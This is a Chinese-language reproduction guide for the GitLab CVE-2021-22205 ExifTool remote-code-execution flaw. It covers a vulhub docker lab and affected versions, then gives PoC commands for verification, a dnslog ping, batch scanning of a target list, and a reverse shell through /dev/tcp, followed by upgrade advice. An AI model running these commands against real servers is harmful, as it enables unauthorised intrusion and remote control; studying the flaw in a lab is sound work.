0x00 漏洞简介
GitLab是一款Ruby开发的Git项目管理平台。如11.9以后的GitLab中,因为使用了图片处理工具ExifTool而受到漏洞CVE-2021-22204的影响,攻击者可以通过一个未授权的接口上传一张恶意构造的图片,进而在GitLab服务器上执行命令。
0x01 影响版本
该漏洞影响以下GitLab企业版和社区版:
11.9 <= Gitlab CE/EE < 13.8.8
13.9 <= Gitlab CE/EE < 13.9.6
13.10 <= Gitlab CE/EE < 13.10.3
版本检测:
使用如下命令可查看当前GitLab的版本:
cat /opt/gitlab/embedded/service/gitlab-rails/VERSION
本文复现版本:Gitlab CE 13.10.1
0x02 漏洞环境
执行如下命令启动一个GitLab 13.10.1版本服务器:
mkdir CVE-2021-22205
cd CVE-2021-22205
vi docker-compose.yml
内容如下:
version: '2.3'
services:
redis:
image: redis:5.0.9-alpine
postgresql:
image: postgres:12-alpine
environment:
- POSTGRES_USER=gitlab
- POSTGRES_PASSWORD=password
- POSTGRES_DB=gitlabhq_production
- DB_EXTENSION=pg_trgm,btree_gist
gitlab:
image: vulhub/gitlab:13.10.1
depends_on:
- redis
- postgresql
ports:
- "8080:80"
- "10022:22"
environment:
- DEBUG=false
- DB_ADAPTER=postgresql
- DB_HOST=postgresql
- DB_PORT=5432
- DB_USER=gitlab
- DB_PASS=password
- DB_NAME=gitlabhq_production
- REDIS_HOST=redis
- REDIS_PORT=6379
- GITLAB_HTTPS=false
- SSL_SELF_SIGNED=false
- GITLAB_HOST=localhost
- GITLAB_PORT=8080
- GITLAB_SSH_PORT=10022
- GITLAB_RELATIVE_URL_ROOT=
- GITLAB_SECRETS_DB_KEY_BASE=long-long-long-long-long-long-secret-key-is-here1
- GITLAB_SECRETS_SECRET_KEY_BASE=long-long-long-long-long-long-secret-key-is-here2
- GITLAB_SECRETS_OTP_KEY_BASE=long-long-long-long-long-long-secret-key-is-her3
- TZ=Asia/Kolkata
- GITLAB_TIMEZONE=Kolkata
- GITLAB_ROOT_PASSWORD=vulhub123456
docker-compose.yml文件拷贝自:
https://github.com/vulhub/vulhub/blob/master/gitlab/CVE-2021-22205/docker-compose.yml
docker-compose up -d环境启动后,访问http://your-ip:8080即可查看到GitLab的登录页面。
0x03 漏洞复现
漏洞POC
https://github.com/Al1ex/CVE-2021-22205
漏洞验证
python CVE-2021-22205.py -v true -t http://Your IP:Port
执行命令
python3 CVE-2021-22205.py -a true -t https://gitlab.example.com/ -c "ping 1us7f0.dnslog.cn"
批量扫描
python3 CVE-2021-2205.py -s true -f target.txt
反弹shell:
python3 CVE-2021-2205.py -a true -t http://Your IP:port -c "echo 'bash -i >& /dev/tcp/ip/port 0>&1' > /tmp/1.sh"
python3 CVE-2021-2205.py -a true -t http://Your IP:port -c "chmod +x /tmp/1.sh"
python3 CVE-2021-2205.py -a true -t http://Your IP:port -c "/bin/bash /tmp/1.sh"
0x04 修改方案
1、及时升级GitLab至最新安全版本
2、配置访问控制策略,避免受影响的GitLab暴露在公网
参考链接:https://www.cnblogs.com/cn-gov/p/15490588.html
长按下方图片关注我们: